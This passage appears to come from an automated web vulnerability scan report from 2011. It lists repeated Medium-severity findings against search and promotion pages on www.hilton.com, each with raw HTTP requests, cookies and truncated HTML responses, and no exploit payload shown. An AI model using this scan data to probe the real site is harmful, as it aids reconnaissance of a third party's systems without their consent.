id="brandBarLi_WW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li><a href="/doxch.jhtml ...[SNIP]... <li><a href="/doxch.jhtml ...[SNIP]... |
| Severity: | Medium |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /en/hi/hotels/search/city |
| GET /en/hi/hotels/search/city Host: www.hilton.com Proxy-Connection: keep-alive Referer: http://www1.hilton.com/en Cache-Control: max-age=0 Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: K3R7=3LJJ3QmEbCVHlmR |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Fri, 11 Feb 2011 01:55:42 GMT Connection: close Content-Length: 29530 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Hilton Hotels - Search Results for Groups and Meetings</title> <link rel="stylesheet ...[SNIP]... |
| Severity: | Medium |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /en/hi/hotels/search/city |
| GET /en/hi/hotels/search/city Host: www.hilton.com Proxy-Connection: keep-alive Referer: http://www1.hilton.com/en Cache-Control: max-age=0 Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: K3R7=3LJJ3QmEbCVHlmR |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Fri, 11 Feb 2011 01:55:42 GMT Connection: close Content-Length: 29530 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Hilton Hotels - Search Results for Groups and Meetings</title> <link rel="stylesheet ...[SNIP]... <td><a href="/doxch.jhtml ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <li id="navmain01" title="Specials & Packages"><a href="http://www.hilton ...[SNIP]... <li id="navmain02" title="Reservations"><a href="http://www.hilton ...[SNIP]... <li id="navmain03" title="Meetings"><a href="http://www.hilton ...[SNIP]... <li id="navmain0302" title="Social Gatherings"><a href="http://www.hilton ...[SNIP]... <li id="navmain05" title="Travel Guides"><a href="http://www.hilton ...[SNIP]... <li id="navmain07" title="My Favorite Hotels"><a href="http://www.hilton ...[SNIP]... <li class="brandBarLi brandBarLi_CH" id="brandBarLi_CH"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HI" id="brandBarLi_HI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_DT" id="brandBarLi_DT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_ES" id="brandBarLi_ES"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_GI" id="brandBarLi_GI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HP" id="brandBarLi_HP"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HW" id="brandBarLi_HW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HT" id="brandBarLi_HT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_WW" id="brandBarLi_WW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li><a href="/doxch.jhtml ...[SNIP]... <li><a href="/doxch.jhtml ...[SNIP]... |
| Severity: | Medium |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /en/hi/hotels/search |
| GET /en/hi/hotels/search Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:30 GMT Connection: close Connection: Transfer-Encoding Content-Length: 103065 <link rel="StyleSheet" href="hhonors/hh_search <link rel="StyleSheet" href="/en/hi/hotels ...[SNIP]... <td><a href="/doxch.jhtml ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <li id="navmain01" title="Specials & Packages"><a href="http://www.hilton ...[SNIP]... <li id="navmain02" title="Reservations"><a href="http://www.hilton ...[SNIP]... <li id="navmain03" title="Meetings"><a href="http://www.hilton ...[SNIP]... <li id="navmain0302" title="Social Gatherings"><a href="http://www.hilton ...[SNIP]... <li id="navmain05" title="Travel Guides"><a href="http://www.hilton ...[SNIP]... <li id="navmain07" title="My Favorite Hotels"><a href="http://www.hilton ...[SNIP]... <div id="breadcrumb"> <a href="/doxch.jhtml Hilton Hotels </a> ...[SNIP]... <li class="brandBarLi brandBarLi_CH" id="brandBarLi_CH"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HI" id="brandBarLi_HI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_DT" id="brandBarLi_DT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_ES" id="brandBarLi_ES"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_GI" id="brandBarLi_GI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HP" id="brandBarLi_HP"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HW" id="brandBarLi_HW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HT" id="brandBarLi_HT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_WW" id="brandBarLi_WW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li><a href="/doxch.jhtml ...[SNIP]... <li><a href="/doxch.jhtml ...[SNIP]... |
| Severity: | Medium |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /en/hi/hotels/search |
| GET /en/hi/hotels/search Host: www.hilton.com Proxy-Connection: keep-alive Referer: http://www.hilton.com/en Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: K3R7=3LJJ3QmEbCVHlmR |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Length: 0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Fri, 11 Feb 2011 01:55:51 GMT Connection: close |
| Severity: | Medium |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/HI |
| GET /en/hi/promotions/HI Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:56:50 GMT Connection: close Connection: Transfer-Encoding Content-Length: 37224 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD ...[SNIP]... <td><a href="/doxch.jhtml ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <li id="navmain01" title="Specials & Packages"><a href="http://www.hilton ...[SNIP]... <li id="navmain02" title="Reservations"><a href="http://www.hilton ...[SNIP]... <li id="navmain03" title="Meetings"><a href="http://www.hilton ...[SNIP]... <li id="navmain0302" title="Social Gatherings"><a href="http://www.hilton ...[SNIP]... <li id="navmain05" title="Travel Guides"><a href="http://www.hilton ...[SNIP]... <li id="navmain07" title="My Favorite Hotels"><a href="http://www.hilton ...[SNIP]... <li class="brandBarLi brandBarLi_CH" id="brandBarLi_CH"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HI" id="brandBarLi_HI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_DT" id="brandBarLi_DT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_ES" id="brandBarLi_ES"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_GI" id="brandBarLi_GI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HP" id="brandBarLi_HP"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HW" id="brandBarLi_HW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HT" id="brandBarLi_HT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_WW" id="brandBarLi_WW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... |
| Severity: | Medium |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hi |
| GET /en/hi/promotions/hi Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:56:47 GMT Connection: close Connection: Transfer-Encoding Content-Length: 83849 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD ...[SNIP]... <td><a href="/doxch.jhtml ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <li id="navmain01" title="Specials & Packages"><a href="http://www.hilton ...[SNIP]... <li id="navmain02" title="Reservations"><a href="http://www.hilton ...[SNIP]... <li id="navmain03" title="Meetings"><a href="http://www.hilton ...[SNIP]... <li id="navmain0302" title="Social Gatherings"><a href="http://www.hilton ...[SNIP]... <li id="navmain05" title="Travel Guides"><a href="http://www.hilton ...[SNIP]... <li id="navmain07" title="My Favorite Hotels"><a href="http://www.hilton ...[SNIP]... <li class="brandBarLi brandBarLi_CH" id="brandBarLi_CH"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HI" id="brandBarLi_HI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_DT" id="brandBarLi_DT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_ES" id="brandBarLi_ES"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_GI" id="brandBarLi_GI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HP" id="brandBarLi_HP"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HW" id="brandBarLi_HW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HT" id="brandBarLi_HT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_WW" id="brandBarLi_WW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... |
| Severity: | Medium |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hi |
| GET /en/hi/promotions/hi Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:57:09 GMT Content-Length: 32562 Connection: close <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Hilton Free i ...[SNIP]... <td><a href="/doxch.jhtml ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <li id="navmain01" title="Specials & Packages"><a href="http://www.hilton ...[SNIP]... <li id="navmain02" title="Reservations"><a href="http://www.hilton ...[SNIP]... <li id="navmain03" title="Meetings"><a href="http://www.hilton ...[SNIP]... <li id="navmain0302" title="Social Gatherings"><a href="http://www.hilton ...[SNIP]... <li id="navmain05" title="Travel Guides"><a href="http://www.hilton ...[SNIP]... <li id="navmain07" title="My Favorite Hotels"><a href="http://www.hilton ...[SNIP]... <li class="brandBarLi brandBarLi_CH" id="brandBarLi_CH"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HI" id="brandBarLi_HI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_DT" id="brandBarLi_DT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_ES" id="brandBarLi_ES"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_GI" id="brandBarLi_GI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HP" id="brandBarLi_HP"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HW" id="brandBarLi_HW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HT" id="brandBarLi_HT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_WW" id="brandBarLi_WW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... |
| Severity: | Medium |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hi |
| GET /en/hi/promotions/hi Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:57:12 GMT Connection: close Connection: Transfer-Encoding Content-Length: 34629 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD ...[SNIP]... <td><a href="/doxch.jhtml ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <li id="navmain01" title="Specials & Packages"><a href="http://www.hilton ...[SNIP]... <li id="navmain02" title="Reservations"><a href="http://www.hilton ...[SNIP]... <li id="navmain03" title="Meetings"><a href="http://www.hilton ...[SNIP]... <li id="navmain0302" title="Social Gatherings"><a href="http://www.hilton ...[SNIP]... <li id="navmain05" title="Travel Guides"><a href="http://www.hilton ...[SNIP]... <li id="navmain07" title="My Favorite Hotels"><a href="http://www.hilton ...[SNIP]... <li class="brandBarLi brandBarLi_CH" id="brandBarLi_CH"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HI" id="brandBarLi_HI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_DT" id="brandBarLi_DT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_ES" id="brandBarLi_ES"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_GI" id="brandBarLi_GI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HP" id="brandBarLi_HP"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HW" id="brandBarLi_HW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HT" id="brandBarLi_HT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_WW" id="brandBarLi_WW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... |
| Severity: | Medium |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hi |
| GET /en/hi/promotions/hi Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:57:07 GMT Content-Length: 30993 Connection: close <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Stay Connecte ...[SNIP]... <td><a href="/doxch.jhtml ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <li id="navmain01" title="Specials & Packages"><a href="http://www.hilton ...[SNIP]... <li id="navmain02" title="Reservations"><a href="http://www.hilton ...[SNIP]... <li id="navmain03" title="Meetings"><a href="http://www.hilton ...[SNIP]... <li id="navmain0302" title="Social Gatherings"><a href="http://www.hilton ...[SNIP]... <li id="navmain05" title="Travel Guides"><a href="http://www.hilton ...[SNIP]... <li id="navmain07" title="My Favorite Hotels"><a href="http://www.hilton ...[SNIP]... <li class="brandBarLi brandBarLi_CH" id="brandBarLi_CH"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HI" id="brandBarLi_HI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_DT" id="brandBarLi_DT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_ES" id="brandBarLi_ES"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_GI" id="brandBarLi_GI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HP" id="brandBarLi_HP"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HW" id="brandBarLi_HW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HT" id="brandBarLi_HT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_WW" id="brandBarLi_WW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... |
| Severity: | Medium |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hi |
| GET /en/hi/promotions/hi Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:56:45 GMT Connection: close Connection: Transfer-Encoding Content-Length: 42417 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Escape this Winter</TITLE> <META ...[SNIP]... <td><a href="/doxch.jhtml ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <li id="navmain01" title="Specials & Packages"><a href="http://www.hilton ...[SNIP]... <li id="navmain02" title="Reservations"><a href="http://www.hilton ...[SNIP]... <li id="navmain03" title="Meetings"><a href="http://www.hilton ...[SNIP]... <li id="navmain0302" title="Social Gatherings"><a href="http://www.hilton ...[SNIP]... <li id="navmain05" title="Travel Guides"><a href="http://www.hilton ...[SNIP]... <li id="navmain07" title="My Favorite Hotels"><a href="http://www.hilton ...[SNIP]... <li class="brandBarLi brandBarLi_CH" id="brandBarLi_CH"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HI" id="brandBarLi_HI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_DT" id="brandBarLi_DT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_ES" id="brandBarLi_ES"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_GI" id="brandBarLi_GI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HP" id="brandBarLi_HP"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HW" id="brandBarLi_HW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HT" id="brandBarLi_HT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_WW" id="brandBarLi_WW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... |
| Severity: | Medium |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hilton |
| GET /en/hi/promotions/hilton Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:56:47 GMT Connection: close Connection: Transfer-Encoding Content-Length: 62666 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Hotel Global ...[SNIP]... <td><a href="/doxch.jhtml ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <li id="navmain01" title="Specials & Packages"><a href="http://www.hilton ...[SNIP]... <li id="navmain02" title="Reservations"><a href="http://www.hilton ...[SNIP]... <li id="navmain03" title="Meetings"><a href="http://www.hilton ...[SNIP]... <li id="navmain0302" title="Social Gatherings"><a href="http://www.hilton ...[SNIP]... <li id="navmain05" title="Travel Guides"><a href="http://www.hilton ...[SNIP]... <li id="navmain07" title="My Favorite Hotels"><a href="http://www.hilton ...[SNIP]... <li class="brandBarLi brandBarLi_CH" id="brandBarLi_CH"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HI" id="brandBarLi_HI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_DT" id="brandBarLi_DT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_ES" id="brandBarLi_ES"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_GI" id="brandBarLi_GI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HP" id="brandBarLi_HP"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HW" id="brandBarLi_HW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HT" id="brandBarLi_HT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_WW" id="brandBarLi_WW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... |
| Severity: | Medium |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions |
| GET /en/hi/promotions Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:57:04 GMT Connection: close Connection: Transfer-Encoding Content-Length: 66112 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Hilton Hotels Advanced ...[SNIP]... <td><a href="/doxch.jhtml ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <li id="navmain01" title="Specials & Packages"><a href="http://www.hilton ...[SNIP]... <li id="navmain02" title="Reservations"><a href="http://www.hilton ...[SNIP]... <li id="navmain03" title="Meetings"><a href="http://www.hilton ...[SNIP]... <li id="navmain0302" title="Social Gatherings"><a href="http://www.hilton ...[SNIP]... <li id="navmain05" title="Travel Guides"><a href="http://www.hilton ...[SNIP]... <li id="navmain07" title="My Favorite Hotels"><a href="http://www.hilton ...[SNIP]... <li class="brandBarLi brandBarLi_CH" id="brandBarLi_CH"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HI" id="brandBarLi_HI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li 